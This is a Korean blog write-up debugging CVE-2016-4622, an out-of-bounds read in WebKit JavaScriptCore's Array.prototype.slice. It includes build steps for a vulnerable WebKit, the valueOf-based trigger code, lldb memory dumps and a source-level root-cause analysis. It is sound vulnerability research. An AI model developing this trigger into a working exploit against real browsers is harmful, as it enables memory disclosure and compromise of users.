CVE-2016-4622 삽질기

- 7 mins

작성 - LiLi, y0ny0ns0n, powerprove, cheese @ null2root

목차

  1. 소개
  2. 환경 구축
  3. 분석
    3.1 Nan-Boxing
    3.2 버그분석
  4. 참조

1. 소개

이 문서에서는 Attacking Javascript Engines 프랙 문서의 내용을 디버깅 및 분석하는 과정을 다룬다.

또한 이 문서는 널루트 내부 프로젝트 how to browser 에서 작성한 Attacking JavaScript Engines 번역 문서로부터 이어지는 문서로, 앞의 문서를 먼저 읽기를 권한다.

2. 환경 구축

  1. OS X EI Captian 10.11.4 버전의 가상머신 (Safari 9.1.1)을 준비
  2. OS 버전의 Xcode를 설치 Command Line Tools OS X 10.11 for Xcode 7.3.1
  3. WebKit 빌드
git clone git://git.webkit.org/WebKit.git WebKit
cd WebKit
git checkout 320b1fc
Tools/Scripts/build-jsc MACOSX_DEPLOYMENT_TARGET=10.11 SDKROOT=macosx10.11 --debug

Webkit 빌드 할 때 디버깅 편의를 위해서 FunctionPrint 함수에 코드 추가

EncodedJSValue JSC_HOST_CALL functionPrint(ExecState* exec)
{
    for (unsigned i = 0; i < exec->argumentCount(); ++i) {
        puts("[*]  dumpng arguments");
        printf("&exec->argument(%d): %p\n", i, (void *)exec->argument(i).toObject(exec));
        printf("&exec->argument(%d): %s\n", i, exec->uncheckedArgument(i).toString(exec)->view(exec).get().utf8().data());
        if (i)
            putchar(' ');

        printf("%s", exec->uncheckedArgument(i).toString(exec)->view(exec).get().utf8().data());
    }
    putchar('\n');
    fflush(stdout);
    return JSValue::encode(jsUndefined());
}

이렇게 소스코드를 추가해준 후 빌드를 할 경우

null2rootui-Mac:Resources null2root$ ./jsc
>>> print("null2root")
[*]  dumpng arguments
&exec->argument(0): 0x110db3100
&exec->argument(0): null2root
null2root
undefined
>>>

디버깅 할때 메모리를 바로 찾을 수 있다.

그 외에 디버깅을 위해 사용할 만한 함수로 describe() 함수가 있다. 파라미터로 객체를 전달하면 해당 객체의 자료형, 내용, 주소 등을 출력해준다. 실 용례는 다음과 같다.

null2rootui-Mac:Resources null2root$ cat test_describe.js
var a = 1.234;
var b = [3.4567];
var c = {a, b};

print(describe(a));
print(describe(b));
print(describe(c));

null2rootui-Mac:Resources null2root$ ./jsc test_describe.js
Double: 4608236261112822104, 1.234000
Object: 0x7fffb29b01f0 with butterfly 0x7fffb29caee8 (0x7fffb29eaca0:[Array, {}, ArrayWithDouble, Proto:0x7fffb29e4140, Leaf]), ID: 89
Object: 0x7fffb29e4340 with butterfly (nil) (0x7fffb299f520:[Object, {a:0, b:1}, NonArray, Proto:0x7fffb29b00a0, Leaf]), ID: 230

3. 분석

3.1 NaN-Boxing

자바스크립트는 동적인 타입을 지원하는 언어로 number, sring, boolean, null, undefined, symbol 등등의 타입들이 내장되어 있다. 1 자바스크립트의 값의 표현은 상위 16비트가 인코딩된 JSValue를 의미하는데

타입 상위 16비트
Pointer 0000
Double 0001~FFFE
Integer FFFF

독특한 부분은 Double형으로 00001~FFFE까지 라는 것이다. JSValue에서는 Double형의 상위 16비트 값이 0000~FFFF값이 나오지 않기 위해서 Double형의 값에다가 2^48을 더해준다. 디버깅을 하면 쉽게 알아볼수 있다.

예를 들면

var Integer = 0x7;
var Double = 1.123;

이런코드가 있을경우 0x7은 메모리에 0xffff000000000007 이렇게 저장이 되고 Double의 1.123은 실제 double 값의 0x3ff1f7ced916872b에서 2^48을 더한 0x3ff2f7ced916872b이 된다.

 (lldb) x/10gx 0x1073b3120
0x1073b3120: 0x0100180000000069 0x0000000000000000
0x1073b3130: 0x00000001015cffd0 [0xffff000000000007] <= Integer

(lldb) x/10gx 0x1073b3100
0x1073b3100: 0x0100180000000069 0x0000000000000000
0x1073b3110: 0x00000001015cffd0 [0x3ff2f7ced916872b] <= Double

독특한 점은 배열에 값을 넣을때는 속도를 위해서 네이티브 타입을 저장한다. 번역 문서에서는

ArrayWithContiguous 는 JSValue 를 저장하고, 이전 두 타입(Int32Shape, DoubleShape)은 네이티브 타입을 저장한다. 라고 설명한다.

 var arrayInt32 = new Uint32Array(2);
arrayInt32[0] = 1;
arrayInt32[1] = 2;
var arrayDouble = [0.123 , 1.123 , 2.123];
print(arrayInt32);
print(arrayDouble);
 (lldb) x/10gx 0x00000001061e4800 // arrayInt32
0x1061e4800: 0x0000000200000001 0x0000000400000003
...
(lldb) x/10gx 0x00000001061e4810 // arrayDouble
0x1061e4810: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x1061e4820: 0x4000fbe76c8b4396 0x7ff8000000000000

실제 디버깅을 해보면 Int32는 1, 2, 3, 4 메모리에 들어가는 것을 확인 할 수 있고 double 배열에는 2^48을 안더한다는 것을 볼 수 있다. Int32 배열말고 단일 변수는 없기 때문에 비교할수 없다.

3.2 버그 분석

    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.123);

    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    print(b);
null2rootui-Mac:Resources null2root$ ./jsc valueOf.js
[*]  dumpng arguments
&exec->argument(0): 0x10fdc7ec0
&exec->argument(0): 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Attacking JavaScript Engines문서에서 나오는 코드와 그 결과 값이다. 해당 문서와 똑같이 나오는것을 확인 할 수 있었다. 번역문서에서는

slice 작업 전에 배열을 지웠기 때문에 예상되는 출력값은 undefined 값들로 채워진 길이가 10인 배열이지만, 실제로 출력해 보면 부동 소수점 값들이 나타나는 것을 확인할 수 있다. 아무래도 배열 범위의 끝을 넘어 값들을 읽어들인 것처럼 보인다. :)

라고 0.123과 1.123이 왜 나오는지에 대해 확실하게 이유를 설명해 주지 않는다. 때문에 디버깅을 해서 살펴봤을때

(lldb) x/10gx 0x000000010fdc7ec0
0x106be4780: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x106be4790: 0x0000000a0000000a 0x0000000000000000

0x3fbf7ced916872b0 는 0.123이고 0x3ff1f7ced916872b는 1.123이다. 왜 값들이 메모리에 있는지 코드 분석을 통해 알아보자.

void JSObject::reallocateAndShrinkButterfly(VM& vm, unsigned length)
{
    ...

    DeferGC deferGC(vm.heap);
    Butterfly* newButterfly = butterfly()->resizeArray(vm, this, structure(vm), 0, ArrayStorage::sizeFor(length));
    newButterfly->setVectorLength(length);
    newButterfly->setPublicLength(length);
    WTF::storeStoreFence();
    m_butterfly.set(vm, this, newButterfly);
}

rellocateAndShrinkButterfly 함수내부에서 butterfly()->resizeArray(vm, this, structure(vm), 0, ArrayStorage::sizeFor(length)) 을 실행시키는데 우리가 length를 0으로 주었으므로 ArrayStorage::sizeFor(0) 이 실행될것이다. 참고로 newButterfly->setVectorLength(length);newButterfly->setPublicLength(length); 가 새로운 배열의 length(=valueOf 함수의 리턴값)을 삽입하기 때문이다.

	  static size_t sizeFor(unsigned vectorLength)
    {
        return ArrayStorage::vectorOffset() + vectorLength * sizeof(WriteBarrier<Unknown>);
    }
		...
		static ptrdiff_t vectorOffset() { return OBJECT_OFFSETOF(ArrayStorage, m_vector); } # 0x10

sizeFor 함수를 보면 vectorLength(length => 0)를 이용해서 연산하는것 뿐 아니라 vectorOffset()2을 더해주는데, vectorOffset의 return 값이 0x10이다. 때문에 resizeArray의 newIndexingPayloadSizeInBytes 인자가 0x10이 들어간다.

resizeArray코드에서는

inline Butterfly* Butterfly::resizeArray(
    VM& vm, JSObject* intendedOwner, size_t propertyCapacity, bool oldHasIndexingHeader,
    size_t oldIndexingPayloadSizeInBytes, size_t newPreCapacity, bool newHasIndexingHeader,
    size_t newIndexingPayloadSizeInBytes)
{
    ...
    size_t size = std::min(
        totalSize(0, propertyCapacity, oldHasIndexingHeader, oldIndexingPayloadSizeInBytes),
        totalSize(0, propertyCapacity, newHasIndexingHeader, newIndexingPayloadSizeInBytes));
    memcpy(to, from, size);
    return result;
}

newIndexingPayloadSizeInBytes(=0x10)를 받은 인자에 totalSize를 통해 +8을 더해줘서(JSCell을 포함하기 위해서 이다.) memcpy를 할때 size에 0x18이 들어간다.

(lldb) register read
...
       rdx = 0x0000000000000018
       rdi = 0x00000001061e4760
       rsi = 0x00000001061e4168
...
(lldb) x/10gx 0x00000001061e4168
0x1061e4168: 0x000000be00000064 0x3fbf7ced916872b0
0x1061e4178: 0x3ff1f7ced916872b 0x4000fbe76c8b4396
...
(lldb) x/10gx 0x00000001061e4760
0x1061e4760: 0x0000000000000000 0x0000000000000000
0x1061e4770: 0x0000000000000000 0x0000000000000000

//memcpy 실행후

(lldb) x/10gx 0x00000001061e4760
0x1061e4760: 0x000000be00000064 0x3fbf7ced916872b0
0x1061e4770: 0x3ff1f7ced916872b 0x0000000000000000

디버깅을 통해 값이 들어가들어가는 것을 보았다.

4. 참조

  1. https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/runtime/JSCJSValue.h 

  2. OBJECT_OFFSETOF는 offsetof를 구현한것으로 추정됨. https://devr.tistory.com/51 참조 

null2root

null2root

underground hacker group

comments powered by Disqus
rss facebook twitter github gitlab youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora